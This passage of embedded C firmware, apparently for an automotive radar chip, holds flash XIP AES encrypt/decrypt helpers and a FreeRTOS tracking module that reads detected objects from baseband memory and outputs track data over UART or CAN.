int32_t flash_xip_encrypt(uint32_t *src, uint32_t *dst, uint32_t len)
{
int32_t result = E_OK;
uint32_t single_cnt = 64;
do {
if ((NULL == src) || (NULL == dst) || (len % 64)) {
result = E_PAR;
break;
}
if (NULL == flash_xip_ptr) {
result = E_SYS;
break;
}
flash_xip_aes_mode_set(flash_xip_ptr, CIPHER_MODE);
while (len) {
if (len < 64) {
single_cnt = len;
if (single_cnt % 4) {
single_cnt = ((single_cnt >> 2) + 1) << 2;
}
}
flash_xip_aes_input(flash_xip_ptr, src, single_cnt >> 2);
flash_xip_aes_start(flash_xip_ptr, 0, 1, 1);
while (0 == flash_xip_aes_done(flash_xip_ptr)) {
#ifdef OS_FREERTOS
vTaskDelay(2);
#endif
}
result = falsh_xip_aes_ouput(flash_xip_ptr, dst, single_cnt >> 2);
if (E_OK != result) {
break;
}
len -= single_cnt;
src += single_cnt >> 2;
dst += single_cnt >> 2;
}
} while (0);
return result;
}
int32_t flash_xip_decrypt(uint32_t *src, uint32_t *dst, uint32_t len)
{
int32_t result = E_OK;
uint32_t single_cnt = 64;
do {
if ((NULL == src) || (NULL == dst) || (len % 64)) {
result = E_PAR;
break;
}
if (NULL == flash_xip_ptr) {
result = E_SYS;
break;
}
flash_xip_aes_mode_set(flash_xip_ptr, DECIPHER_MODE);
while (len) {
if (len < 64) {
single_cnt = len;
if (single_cnt % 4) {
single_cnt = ((single_cnt >> 2) + 1) << 2;
}
}
flash_xip_aes_input(flash_xip_ptr, src, single_cnt >> 2);
flash_xip_aes_start(flash_xip_ptr, 0, 1, 1);
while (0 == flash_xip_aes_done(flash_xip_ptr)) {
#ifdef OS_FREERTOS
vTaskDelay(2);
#endif
}
result = falsh_xip_aes_ouput(flash_xip_ptr, dst, single_cnt >> 2);
if (E_OK != result) {
break;
}
len -= single_cnt;
src += single_cnt >> 2;
dst += single_cnt >> 2;
}
} while (0);
return result;
}
<file_sep>/*
This file implements interface between tracking and firmware.
Please DONOT include any algorithm specific data, info and defs here!!!
*/
/*--- INCLUDE ------------------------*/
#include <math.h>
#include <string.h>
#include "calterah_math.h"
#include "track.h"
#include "track_cli.h"
#include "ekf_track.h"
#include "baseband.h"
#include "FreeRTOS.h"
#include "timers.h"
#include "sensor_config.h"
#include "console.h"
#include "can_signal_interface.h"
#include "track_cli.h"
#include "vel_deamb_MF.h"
#include "cascade.h"
#ifndef M_PI
#define M_PI 3.1415926535f
#endif
/* DEG2RAD = pi/180 */
#define DEG2RAD 0.017453292519943295f
/* RAD2DEG = 180/pi */
#define RAD2DEG 57.295779513082323
static track_t track_ctrl;
static uint8_t current_frame_type = 0;
/*--- DEFINE -------------------------*/
#define MAX_Q_IDX 15
#define MAX_Q_NUM 32
#define BB_READ_REG(bb_hw, RN) baseband_read_reg(bb_hw, BB_REG_##RN)
/*--- DECLARATION --------------------*/
static void track_update_time (track_t *track); /* update frame time */
static bool track_ready = true;
static xTimerHandle xTimerTrack;
static struct trk {
uint32_t *data;
bool lock;
} trk_hex;
extern int8_t get_track_cfg(void);
track_t* track_get_track_ctrl()
{
return &track_ctrl;
}
/* FreeRTOS timer callback */
void vTimerTrackCallback(xTimerHandle xTimer)
{
track_ready = true;
}
/* init */
void track_init(track_t *track)
{
sensor_config_t *cfg = sensor_config_get_cur_cfg();
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
install_ekf_track(track);
#else
install_ekf_track(track);
#endif
track_ready = true;
xTimerTrack = xTimerCreate("for track", pdMS_TO_TICKS(1000 / cfg->track_fps), pdTRUE, (void *)0, vTimerTrackCallback);
track_cmd_register();
init_track_data(MAX_ARRAY_NUM);
}
void track_init_sub(track_t *track, void *ctx)
{
baseband_t* bb = (baseband_t *)ctx;
int index = bb->bb_hw.frame_type_id;
track->radar_params[index] = &bb->sys_params;
}
void track_pre_start(track_t *track)
{
void* sys_params = track->radar_params[baseband_get_cur_frame_type()];
if (track->trk_init)
track->trk_init(track->trk_data, sys_params);
}
bool track_is_ready(track_t *track)
{
return track_ready;
}
void track_lock(track_t *track)
{
track_ready = false;
}
/* start */
void track_start(track_t *track)
{
if(xTimerTrack != NULL)
xTimerStart(xTimerTrack, 0);
}
/* stop */
void track_stop(track_t *track)
{
xTimerStop(xTimerTrack, 0);
if (track->trk_stop)
track->trk_stop(track->trk_data, NULL);
track_ready = true;
}
static bool is_obj(const radar_sys_params_t *sys_params, bool valid_flag, float angle, uint32_t sig, bool valid_flag_e, float angle_e, uint32_t sig_e)
{
if (!valid_flag)
return false;
else if ((sig & 0x1f) > 0x1f)
return false;
else if ((angle <= sys_params->trk_fov_az_left) || (angle >= sys_params->trk_fov_az_right))
return false;
else if (!valid_flag_e)
return false;
else if ((sig_e & 0x1f) > 0x1f)
return false;
else if ((angle_e <= sys_params->trk_fov_ev_down) || (angle_e >= sys_params->trk_fov_ev_up))
return false;
else
return true;
}
static void obj_check(const radar_sys_params_t *sys_params,
bool ang_vld,
uint32_t ang_idx,
uint32_t u_ang_acc,
bool acc_ang_flag,
uint32_t sig,
bool ang_vld_e, /*hw elevated angle valid indicate*/
uint32_t ang_idx_e, /*hw elevated angle index*/
uint32_t u_ang_acc_e, /*hw elevated angle acc value*/
uint32_t sig_e, /*hw elevated angle sig*/
bool elv_flag, /*control if output elevated angle*/
int* p_j,
volatile track_cdi_t *cdi,
bool is_dml_flag)
{
int32_t hw_ang = 0, hw_ang_elv = 0;
float ang_acc = 0.0;
float angle_cdi = 0.0, angle_cdi_elv = 0.0;
uint32_t hw_sig = 0;
float sig_cdi = 0.0;
#if TRK_CONF_3D
float sig_cdi_elv = 0.0;
#endif
if (*p_j >= TRACK_NUM_CDI)
return;
hw_ang = ang_idx;
ang_acc = fx_to_float(u_ang_acc, 4, 0, true);
ang_acc = acc_ang_flag ? (ang_acc + (float)hw_ang) : (float)hw_ang;
if (is_dml_flag) {
if (u_ang_acc != 0 && sys_params->doa_npoint[0] > 512)
hw_ang += 512;
double asin_v = sys_params->dml_sin_az_left + hw_ang * sys_params->dml_sin_az_step;
float ang = asin(asin_v) * RAD2DEG;
angle_cdi = ang;
} else {
angle_cdi = sys_params->bfm_az_left + ang_acc * sys_params->az_delta_deg ;
}
hw_sig = sig;
sig_cdi = fl_to_float(hw_sig, 15, 1, false, 5, false);
if (elv_flag) {
hw_ang_elv = ang_idx_e;
ang_acc = fx_to_float(u_ang_acc_e, 4, 0, true);
ang_acc = acc_ang_flag ? (ang_acc + (float)hw_ang_elv) : (float)hw_ang_elv;
if (is_dml_flag) {
if (u_ang_acc_e != 0 && sys_params->doa_npoint[1] > 512)
hw_ang_elv += 512;
double asin_v = sys_params->dml_sin_ev_down + hw_ang_elv * sys_params->dml_sin_ev_step;
float ang = asin(asin_v) * RAD2DEG;
angle_cdi_elv = ang;
} else {
angle_cdi_elv = sys_params->bfm_ev_down + ang_acc * sys_params->ev_delta_deg;
}
#if TRK_CONF_3D
double tmp_sin_theta = sin(angle_cdi * DEG2RAD) / cos(angle_cdi_elv * DEG2RAD);
if (tmp_sin_theta <= 1 && tmp_sin_theta >= -1)
angle_cdi = asin(tmp_sin_theta) * RAD2DEG;
sig_cdi_elv = fl_to_float(sig_e, 15, 1, false, 5, false);
#endif
} else
sig_e = 0xF ; // avoid unreasonable elevated results in memory to effect the object number
if (is_obj(sys_params, ang_vld, angle_cdi, sig, ang_vld_e, angle_cdi_elv, sig_e)) {
int num = *p_j ;
cdi[num].raw_z = cdi[num-1].raw_z; //update range and vel and noise
cdi[num].raw_z.ang = angle_cdi;
cdi[num].raw_z.sig = sig_cdi;
#if TRK_CONF_3D
cdi[num].raw_z.ang_elv = angle_cdi_elv;
cdi[num].raw_z.sig_elv = sig_cdi_elv;
#endif
*p_j = num + 1;
}
}
void track_pre_filter(const radar_sys_params_t *sys_params,
doa_info_t *doa,
int* p_j,
volatile track_cdi_t *cdi,
bool acc_ang_flag,
bool elv_flag,
bool is_dml_flag)
{
// check multi-obj 1
// elevated multi-obj 0
obj_check(sys_params, doa[0].ang_vld_1, doa[0].ang_idx_1, doa[0].ang_acc_1, acc_ang_flag, doa[0].sig_1,
true, doa[1].ang_idx_2, doa[1].ang_acc_2, doa[1].sig_2, elv_flag, p_j, cdi, is_dml_flag);
// elevated multi-obj 1
if (elv_flag) {
obj_check(sys_params, doa[0].ang_vld_1, doa[0].ang_idx_1, doa[0].ang_acc_1, acc_ang_flag, doa[0].sig_1,
doa[1].ang_vld_3, doa[1].ang_idx_3, doa[1].ang_acc_3, doa[1].sig_3, elv_flag, p_j, cdi, is_dml_flag);
}
// check multi-obj 2
//elevated multi-obj 0
obj_check(sys_params, doa[0].ang_vld_2, doa[0].ang_idx_2, doa[0].ang_acc_2, acc_ang_flag, doa[0].sig_2,
true, doa[2].ang_idx_0, doa[2].ang_acc_0, doa[2].sig_0, elv_flag, p_j, cdi, is_dml_flag);
//elevated multi-obj 1
if (elv_flag) {
obj_check(sys_params, doa[0].ang_vld_2, doa[0].ang_idx_2, doa[0].ang_acc_2, acc_ang_flag, doa[0].sig_2,
doa[2].ang_vld_1, doa[2].ang_idx_1, doa[2].ang_acc_1, doa[2].sig_1, elv_flag, p_j, cdi, is_dml_flag);
}
// check multi-obj 3
//elevated multi-obj 0
obj_check(sys_params, doa[0].ang_vld_3, doa[0].ang_idx_3, doa[0].ang_acc_3, acc_ang_flag, doa[0].sig_3,
true, doa[2].ang_idx_2, doa[2].ang_acc_2, doa[2].sig_2, elv_flag, p_j, cdi, is_dml_flag);
//elevated multi-obj 1
if (elv_flag) {
obj_check(sys_params, doa[0].ang_vld_3, doa[0].ang_idx_3, doa[0].ang_acc_3, acc_ang_flag, doa[0].sig_3,
doa[2].ang_vld_3, doa[2].ang_idx_3, doa[2].ang_acc_3, doa[2].sig_3, elv_flag, p_j, cdi, is_dml_flag);
}
}
/* read from hardware */
void track_read(track_t *track)
{
/* varibles */
int obj_num;
int i, j;
int group_num = 1;
/* special varibles */
uint8_t track_frame_type = baseband_get_cur_frame_type();
current_frame_type = track_frame_type;
radar_sys_params_t* sys_params = track->radar_params[track_frame_type];
baseband_hw_t *bb_hw = &(CONTAINER_OF(sys_params, baseband_t, sys_params)->bb_hw);
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
bool elv_flag = false; //indicate if combined mode are used to calculate elevated angle
bool is_dml_flag = (cfg->doa_method == 2);
/* get memory offset */
uint32_t mem_rlt_offset = 0;
if ((BB_READ_REG(bb_hw, CFR_SIZE_OBJ)) < 256) /* mem_rlt will be splited to 4 banks when cfar size less than 256 */
mem_rlt_offset = track_frame_type * (1 << SYS_SIZE_OBJ_WD_BNK) * RESULT_SIZE;
//FIX ME if 2D DoA mode is combined 2d or single shot mode, obj_info_t may be need some change
volatile obj_info_t *obj_info = (volatile obj_info_t *)(BB_MEM_BASEADDR + mem_rlt_offset);
volatile track_cdi_t *track_cdi = (volatile track_cdi_t *)track->cdi_pkg.cdi;
bool acc_rng_flag = cfg->acc_rng_hw;
bool acc_vel_flag = cfg->acc_vel_hw;
bool acc_ang_flag = cfg->acc_angle_hw;
/* get object number */
#ifdef CHIP_CASCADE
obj_num = BB_READ_REG(bb_hw, DOA_NUMB_OBJ);
#else
obj_num = BB_READ_REG(bb_hw, CFR_NUMB_OBJ);
#endif
if( obj_num > TRACK_NUM_CDI ) {
obj_num = TRACK_NUM_CDI;
}
if(cfg->doa_mode != 2)
group_num = BB_READ_REG(bb_hw, DOA_NUMB_GRP) + 1;
if (cfg->doa_mode == 1)
elv_flag = true;
/* read data into cdi_pkg */
for (i = 0, j = 0; i < obj_num && j < TRACK_NUM_CDI; i++) {
/* read index */
int32_t hw_rng = obj_info[i].rng_idx;
int32_t hw_vel = obj_info[i].vel_idx;
int32_t q_idx = obj_info[i].amb_idx;
int32_t hw_ang = obj_info[i].doa[0].ang_idx_0;
doa_info_t *doa_info = (doa_info_t *)obj_info[i].doa;
float rng_acc = fx_to_float(obj_info[i].rng_acc, 4, 0, true);
float vel_acc = fx_to_float(obj_info[i].vel_acc, 4, 0, true);
float ang_acc = fx_to_float(obj_info[i].doa[0].ang_acc_0, 4, 0, true);
rng_acc = acc_rng_flag ? (rng_acc + (float)hw_rng) : (float)hw_rng;
vel_acc = acc_vel_flag ? (vel_acc + (float)hw_vel) : (float)hw_vel;
ang_acc = acc_ang_flag ? (ang_acc + (float)hw_ang) : (float)hw_ang;
uint32_t hw_sig = obj_info[i].doa[0].sig_0;
bool az_angle=false, elv_angle=false, angle_invalid=false;
/* FIXME: magic numbers need to be removed */
track->cdi_pkg.cdi[j].raw_z.sig = fl_to_float(hw_sig, 15, 1, false, 5, false);
track->cdi_pkg.cdi[j].raw_z.noi = fl_to_float(obj_info[i].noi, 15, 1, false, 5, false);
if (cfg->track_obj_snr_sel != 0) { // choose RXs FFT peak average power instead of DoA power to calculate SNR
uint8_t bpm_idx_min = 0;
uint8_t bpm_idx_max = cfg->nvarray - 1;
if (cfg->anti_velamb_en) {
bpm_idx_min = 1;
bpm_idx_max = cfg->nvarray;
}
uint32_t old1 = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
float fft_power = 0;
uint8_t cnt = 0;
for (uint8_t bpm_index = bpm_idx_min; bpm_index <= bpm_idx_max; bpm_index++) {
for (uint8_t ch_index = 0; ch_index < MAX_NUM_RX; ch_index++) {
uint32_t fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, hw_rng, hw_vel, bpm_index);
complex_t complex_fft = cfl_to_complex(fft_mem, 14, 1, true, 4, false);
fft_power += (complex_fft.r * complex_fft.r + complex_fft.i * complex_fft.i); // Non-coherent accumulation of 4 channel 2D-FFT power
cnt ++;
}
}
baseband_switch_mem_access(bb_hw, old1);
fft_power /= cnt; // Average power
track->cdi_pkg.cdi[j].raw_z.sig = fft_power;
if (cfg->track_obj_snr_sel != 1) // set noi to 1 to choose fft power instead of SNR for track
track->cdi_pkg.cdi[j].raw_z.noi = 1;
/* For debug
float doa_power = fl_to_float(hw_sig, 15, 1, false, 5, false);
float noi_power = fl_to_float(obj_info[i].noi, 15, 1, false, 5, false);
EMBARC_PRINTF("\n doa_power is %.5f, fft_power is %.5f, noi_power is %.5f\n", doa_power*10000, fft_power*10000, noi_power*10000);
*/
}
#if VEL_DEAMB_MF_EN
if( TRACK_READ_PAIR_ONLY && !( Is_main_obj_match(i) ) ){ //
continue;
} else {
q_idx = main_obj_wrap_num(i);
if (vel_acc >= sys_params->vel_wrap_max) {
q_idx += 1;
}
}
int32_t hw_noi = obj_info[i].noi;
OPTION_PRINT("obj_num is %d. \n", obj_num);
OPTION_PRINT("hw_rng is %d, hw_vel is %d, q_idx is %d, hw_noi is %d, hw_ang is %d\n", \
hw_rng, hw_vel, q_idx, hw_noi, hw_ang);
#endif
if (q_idx > MAX_Q_IDX)
q_idx -= MAX_Q_NUM;
/* translate index */
if (vel_acc >= sys_params->vel_wrap_max)
vel_acc -= sys_params->vel_nfft;
if (!(cfg->anti_velamb_en || VEL_DEAMB_MF_EN || CUSTOM_VEL_DEAMB_MF))
//set q = 0 when either anti_vel or de_amb is off
q_idx = 0;
float high_vel_comp_idx = 1.0 * q_idx + vel_acc / (int32_t)sys_params->vel_nfft;
vel_acc = vel_acc + 1.0 * q_idx * (int32_t)sys_params->vel_nfft;
vel_acc = vel_acc - high_vel_comp_idx * sys_params->vel_comp;
rng_acc = rng_acc - high_vel_comp_idx * sys_params->rng_comp;
rng_acc = rng_acc < 0 ? 0 : rng_acc;
radar_param_fft2rv_nowrap(sys_params, rng_acc, vel_acc, &track->cdi_pkg.cdi[j].raw_z.rng, &track->cdi_pkg.cdi[j].raw_z.vel);
if (is_dml_flag) {
if (obj_info[i].doa[0].ang_acc_0 != 0)
hw_ang += 512;
double asin_v = sys_params->dml_sin_az_left + hw_ang * sys_params->dml_sin_az_step;
float ang = asin(asin_v) * RAD2DEG;
track->cdi_pkg.cdi[j].raw_z.ang = ang;
} else {
track->cdi_pkg.cdi[j].raw_z.ang = sys_params->bfm_az_left + ang_acc * sys_params->az_delta_deg ;
}
az_angle = ( (track->cdi_pkg.cdi[j].raw_z.ang <= sys_params->trk_fov_az_left) || (track->cdi_pkg.cdi[j].raw_z.ang >= sys_params->trk_fov_az_right) );
if (group_num >= 2) {
#if TRK_CONF_3D
int32_t hw_ang_elv = obj_info[i].doa[1].ang_idx_0;
float ang_acc_elv = fx_to_float(obj_info[i].doa[1].ang_acc_0, 4, 0, true);
ang_acc_elv = acc_ang_flag ? (ang_acc_elv + (float)hw_ang_elv) : (float)hw_ang_elv;
if (is_dml_flag) {
if (obj_info[i].doa[1].ang_acc_0 != 0)
hw_ang_elv += 512;
double asin_v = sys_params->dml_sin_ev_down + hw_ang_elv * sys_params->dml_sin_ev_step;
float ang = asin(asin_v) * RAD2DEG;
track->cdi_pkg.cdi[j].raw_z.ang_elv = ang;
} else {
track->cdi_pkg.cdi[j].raw_z.ang_elv = sys_params->bfm_ev_down + ang_acc_elv * sys_params->ev_delta_deg;
}
double alpha = track->cdi_pkg.cdi[j].raw_z.ang;
double phi = track->cdi_pkg.cdi[j].raw_z.ang_elv;
double sin_theta = sin(alpha * DEG2RAD) / cos(phi * DEG2RAD);
if (sin_theta <= 1 && sin_theta >= -1) {
track->cdi_pkg.cdi[j].raw_z.ang = asin(sin_theta) * RAD2DEG;
az_angle = ( (track->cdi_pkg.cdi[j].raw_z.ang <= sys_params->trk_fov_az_left) || (track->cdi_pkg.cdi[j].raw_z.ang >= sys_params->trk_fov_az_right) );
}
uint32_t hw_sig_ev = obj_info[i].doa[1].sig_0;
track->cdi_pkg.cdi[j].raw_z.sig_elv = fl_to_float(hw_sig_ev, 15, 1, false, 5, false);
elv_angle = ( (track->cdi_pkg.cdi[j].raw_z.ang_elv < sys_params->trk_fov_ev_down) || (track->cdi_pkg.cdi[j].raw_z.ang_elv > sys_params->trk_fov_ev_up) );
#endif
} else {
#if TRK_CONF_3D
track->cdi_pkg.cdi[j].raw_z.ang_elv = 0.0;
track->cdi_pkg.cdi[j].raw_z.sig_elv = 0.0;
#endif
}
j++;
/* pre-filter for obj 0*/
/* reduce j if some conditions are satisfied */
elv_angle = false; /*reduce the requirement of elevated angle of the obj 0 to avoid miss object in the case of elevated multi-obj case*/
angle_invalid = az_angle || elv_angle;
if (( (hw_sig & 0x1f) > 0x1f ) || (angle_invalid)){ /* ADDED FOR DEBUG PURPOSE */
j--;
continue;
}
/*pre-filter for multi-object*/
// check multi-obj 0, elevated multi-obj 1
if (elv_flag) {
obj_check(sys_params,
true, obj_info[i].doa[0].ang_idx_0, obj_info[i].doa[0].ang_acc_0, acc_ang_flag, obj_info[i].doa[0].sig_0,
obj_info[i].doa[1].ang_vld_1, obj_info[i].doa[1].ang_idx_1, obj_info[i].doa[1].ang_acc_1, obj_info[i].doa[1].sig_1, elv_flag, &j, track_cdi, is_dml_flag);
}
// check multi-obj 1 2 3 and other elevated angles
track_pre_filter(sys_params, doa_info, &j, track_cdi, acc_ang_flag, elv_flag, is_dml_flag);
}
/* update other info */
track->cdi_pkg.raw_number = j;
track->cdi_pkg.cdi_number = j;
#if TRK_MODE_FUNC == 1
/* angle calib using NN */
uint8_t mode_word = baseband_read_reg(NULL, BB_REG_FDB_SYS_BNK_ACT);
//EMBARC_PRINTF("Mode_word = %d\n\r", mode_word);
float arg_azi, arg_ele;
track_trk_pkg_t* trk_pkg = (track_trk_pkg_t*)track->trk_data;
trk_pkg->mode_word = mode_word;
if (0 == mode_word)//srr
{
for (i = 0; i < track->cdi_pkg.cdi_number; i++) {
arg_azi = track->cdi_pkg.cdi[i].raw_z.ang;
//EMBARC_PRINTF("FT = %2.2f\n", tmpAzi);
angle_calib_step(&track->cdi_pkg.cdi[i].raw_z.ang, &arg_azi);
//EMBARC_PRINTF("FT = %2.2f\n", track->cdi_pkg.cdi[i].raw_z.ang);
}
}
else if (1 == mode_word)//usrr
{
#if TRK_CONF_3D
for (i = 0; i < track->cdi_pkg.cdi_number; i++) {
arg_azi = track->cdi_pkg.cdi[i].raw_z.ang;
arg_ele = track->cdi_pkg.cdi[i].raw_z.ang_elv;
//EMBARC_PRINTF("FT = %2.2f\n", tmpAzi);
angle_calib_3D_step(arg_azi, arg_ele, &track->cdi_pkg.cdi[i].raw_z.ang, &track->cdi_pkg.cdi[i].raw_z.ang_elv);
//EMBARC_PRINTF("FT = %2.2f\n", track->cdi_pkg.cdi[i].raw_z.ang);
}
#endif
}
#endif
#if TRK_MODE_FUNC == 1
//========================ground clutter processing========================//
if (0 == mode_word)//srr
{
clutterProcess2D(track);
}
else if (1 == mode_word)//usrr
{
clutterProcess3D(track);
}
#endif
/* restore memory bank */
baseband_switch_mem_access(bb_hw, old);
}
void track_output_print(track_t *track)
{
if (get_track_cfg() == UART_HEX) {
track_pkg_uart_hex_print(track);
} else if (get_track_cfg() == UART_STRING) {
track_pkg_uart_string_print(track);
} else if (get_track_cfg() == CAN){
/* Send the track datas to CAN bus */
track_pkg_can_print(track);
}
}
/* run tracker for current frame */
void track_run(track_t *track)
{
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_SLAVE) {
return;
}
#endif
void* sys_params = track->radar_params[baseband_get_cur_frame_type()];
/* pre run */
if (track->trk_pre)
track->trk_pre(track->trk_data, sys_params);
track_update_time(track);
/* run */
if (track->trk_run)
track->trk_run(track->trk_data, sys_params);
/* output */
track_output_print(track);
/* post run */
if (track->trk_post)
track->trk_post(track->trk_data, sys_params);
}
static void track_update_time(track_t *track)
{
if (track->trk_has_run && track->trk_has_run(track->trk_data)) {
track->f_last_time = track->f_now;
track->f_now = 1.0f * xTaskGetTickCount() * portTICK_PERIOD_MS / 1000;
if (track->trk_set_frame_int)
track->trk_set_frame_int(track->trk_data, track->f_now - track->f_last_time);
} else {
track->f_now = 1.0f * xTaskGetTickCount() * portTICK_PERIOD_MS / 1000;
track->f_last_time = track->f_now;
if (track->trk_set_frame_int)
track->trk_set_frame_int(track->trk_data, .05);
}
}
/* filter print */
void track_pkg_uart_string_print(track_t *track)
{
/* variable */
uint16_t i;
void* sys_params = track->radar_params[baseband_get_cur_frame_type()];
if (track->trk_update_header)
track->trk_update_header(track->trk_data, sys_params);
EMBARC_PRINTF("FT = %2.2f BNK %d\n", track->output_hdr.frame_int, current_frame_type);
EMBARC_PRINTF("--- F %d O %d/%d/%d! ---\n", track->output_hdr.frame_id,
track->cdi_pkg.cdi_number,
track->output_hdr.track_output_number,
track->cdi_pkg.raw_number);
EMBARC_PRINTF("BK\n");
for (i = 0; i < track->cdi_pkg.cdi_number; i++){
float tmpS = track->cdi_pkg.cdi[i].raw_z.sig;
float tmpN = track->cdi_pkg.cdi[i].raw_z.noi;
#if (TRK_MODE_FUNC == 1)
track->cdi_pkg.cdi[i].raw_z.ang = ((track->cdi_pkg.cdi[i].raw_z.ang - rtU.angle_installation * ANG2RAD) * RAD2ANG);
#if (TRK_CONF_3D == 1)
track->cdi_pkg.cdi[i].raw_z.ang_elv = (track->cdi_pkg.cdi[i].raw_z.ang_elv * RAD2ANG);
#endif
#endif
#if (TRK_CONF_3D == 0)
EMBARC_PRINTF("\t%02d: P %3.2f, R %3.2f, V %3.2f, A %3.2f, E %3.2f\n",
i,
10*log10f(tmpS/tmpN),
track->cdi_pkg.cdi[i].raw_z.rng,
track->cdi_pkg.cdi[i].raw_z.vel,
track->cdi_pkg.cdi[i].raw_z.ang,
(track_float_t)0.0);
#else
EMBARC_PRINTF("\t%02d: P %3.2f, R %3.2f, V %3.2f, A %3.2f, E %3.2f\n",
i,
10*log10f(tmpS/tmpN),
track->cdi_pkg.cdi[i].raw_z.rng,
track->cdi_pkg.cdi[i].raw_z.vel,
track->cdi_pkg.cdi[i].raw_z.ang,
track->cdi_pkg.cdi[i].raw_z.ang_elv);
#endif
}
EMBARC_PRINTF("AK\n");
for (i = 0; i < TRACK_NUM_TRK; i++) {
if (track->trk_update_obj_info)
track->trk_update_obj_info(track->trk_data, sys_params, i);
if (track->output_obj.output) {
#if (TRK_CONF_3D == 0)
EMBARC_PRINTF("\t%02d: P %3.2f, R %3.2f, V %3.2f, A %3.2f, S %d, E %3.2f, L %d - F %d\n",
i,
track->output_obj.SNR,
track->output_obj.rng,
track->output_obj.vel,
track->output_obj.ang,
track->output_obj.track_level,
(track_float_t)0.0,
(uint32_t)0,
#if (TRK_MODE_FUNC == 1)
(uint32_t)(rtDW.TrackLib[i].classifyID << 2)); /* zeros for E/L/F */
#else
(uint32_t)0); /* zeros for E/L/F */
#endif
#else
EMBARC_PRINTF("\t%02d: P %3.2f, R %3.2f, V %3.2f, A %3.2f, S %d, E %3.2f, L %d - F %d\n",
i,
track->output_obj.SNR,
track->output_obj.rng,
track->output_obj.vel,
track->output_obj.ang,
track->output_obj.track_level,
track->output_obj.ang_elv,
(uint32_t)0,
(uint32_t)0); /* zeros for L/F */
#endif
}
}
EMBARC_PRINTF("#\n\n");
}
static void init_track_data(uint16_t number)
{
/* variable */
uint16_t i = 0;
trk_hex.data = (uint32_t *) pvPortMalloc(number * sizeof(uint32_t));
if (trk_hex.data != NULL) {
for (i = 0; i < number; i++)
trk_hex.data[i] = 0x0;
}
}
uint32_t transform_data(float data)
{
uint32_t value = 0;
if (data < 0)
value = (uint32_t)(0x4000 + ((data * 100) + ROUNDF));
else
value = (uint32_t)((data * 100) + ROUNDF + 0x4000);
return value;
}
static void init_data_zero(uint32_t *track_data, uint32_t start_index, uint32_t end_index)
{
uint16_t i = 0;
for(i = start_index; i < end_index; i++)
track_data[i] = 0x0;
}
void tx_end_handle(void) {
/* unlock the entire frame space */
trk_hex.lock = false;
}
static void transfer_data(track_t *track, data_block_t data, uint16_t index, uint32_t end)
{
/* variable */
uint16_t array_num = 0;
switch (data) {
case HEAD:
/* Checksum of Head */
trk_hex.data[5] = ((trk_hex.data[2] + trk_hex.data[3]) & LOW32BITMASk);
/* End of Head */
trk_hex.data[6] = end;
array_num = 7;
break;
case BK:
if (track->cdi_pkg.cdi_number == 0) {
/* End of BK(Before Kalman) */
trk_hex.data[1] = end; /* In this case, Checksum = 0x0 */
array_num = 2;
} else {
/* Checksum of BK */
trk_hex.data[index + 6] = ((trk_hex.data[2] + trk_hex.data[index + 2]) & LOW32BITMASk) ;
/* End of BK(Before Kalman) */
trk_hex.data[index + 7] = end;
array_num = index + 8;
}
break;
case AK:
if (track->output_hdr.track_output_number == 0) {
trk_hex.data[1] = end; /* In this case, Checksum = 0x0 */
array_num = 2;
} else {
/* Checksum of AK */
trk_hex.data[index + 6] = ((trk_hex.data[2] + trk_hex.data[index + 2]) & LOW32BITMASk);
/* End of AK(After Kalman) */
trk_hex.data[index + 7] = end;
array_num = index + 8;
}
break;
default:
break;
}
/* Data Transfer to Host through UART */
portENTER_CRITICAL();
bprintf(trk_hex.data, (array_num * sizeof(uint32_t)), tx_end_handle);
/* lock the trk_hex.data buffer */
trk_hex.lock = true;
portEXIT_CRITICAL();
}
static bool query_buf(void)
{
do {
if (trk_hex.lock) {
/* wait for the previous frame transmission end*/
chip_hw_udelay(20);
} else {
return true;
}
} while (1);
}
/* track packages data print */
void track_pkg_uart_hex_print(track_t *track)
{
/* variable */
uint16_t i = 0, j = 0, index = 0;
void* sys_params = track->radar_params[baseband_get_cur_frame_type()];
if (track->trk_update_header)
track->trk_update_header(track->trk_data, sys_params);
/* The tracking information can only be filled
* in when trk_hex.data buffer status is unlocked.
* */
if (query_buf()) {
/* Head Data - 7 WORD Length : From trk_hex.data[0] to trk_hex.data[6] */
/* Initialize trk_hex.data from 0 to MAX_ARRAY_NUM */
init_data_zero(trk_hex.data, 0, 6);
/* 0xFFEEFFDC is SOH (Start of Head) */
trk_hex.data[0] = 0xFFEEFFDC;
trk_hex.data[1] = ((uint32_t)((track->output_hdr.frame_int * 100) + ROUNDF) & LOW10BITMASk);
trk_hex.data[2] = track->output_hdr.frame_id;
trk_hex.data[3] = ((track->cdi_pkg.cdi_number & LOW10BITMASk) |
((track->output_hdr.track_output_number & LOW10BITMASk) << 10) |
((track->cdi_pkg.raw_number & LOW10BITMASk) << 20));
trk_hex.data[4] = 0x0;
/* 0xFFEEFFD3 is EOH(End of Head) */
transfer_data(track, HEAD, 0, 0xFFEEFFD3);
}
if (query_buf()) {
/* BK Data */
/* Initialize trk_hex.data from 0 to MAX_ARRAY_NUM */
init_data_zero(trk_hex.data, 0, MAX_ARRAY_NUM);
/* 0xFFDDFECB is SOB (Start of BK) */
trk_hex.data[0] = 0xFFDDFECB;
for (i = 0; i < track->cdi_pkg.cdi_number; i++) {
index = 5 * i;
float tmpS = track->cdi_pkg.cdi[i].raw_z.sig;
float tmpN = track->cdi_pkg.cdi[i].raw_z.noi;
float SNR = 10 * log10f(tmpS / tmpN);
#if (TRK_MODE_FUNC == 1)
track->cdi_pkg.cdi[i].raw_z.ang = ((track->cdi_pkg.cdi[i].raw_z.ang - rtU.angle_installation * ANG2RAD) * RAD2ANG);
#if (TRK_CONF_3D == 1)
track->cdi_pkg.cdi[i].raw_z.ang_elv = (track->cdi_pkg.cdi[i].raw_z.ang_elv * RAD2ANG);
#endif
#endif
trk_hex.data[(index + 1)] = (i & LOW10BITMASk) | ((transform_data(SNR) & LOW15BITMASk) << 10);
trk_hex.data[(index + 2)] = (uint32_t)((track->cdi_pkg.cdi[i].raw_z.rng * 100) + ROUNDF);
trk_hex.data[(index + 3)] = ((transform_data(track->cdi_pkg.cdi[i].raw_z.vel) & LOW15BITMASk) |
((transform_data(track->cdi_pkg.cdi[i].raw_z.ang) & LOW15BITMASk) << 15));
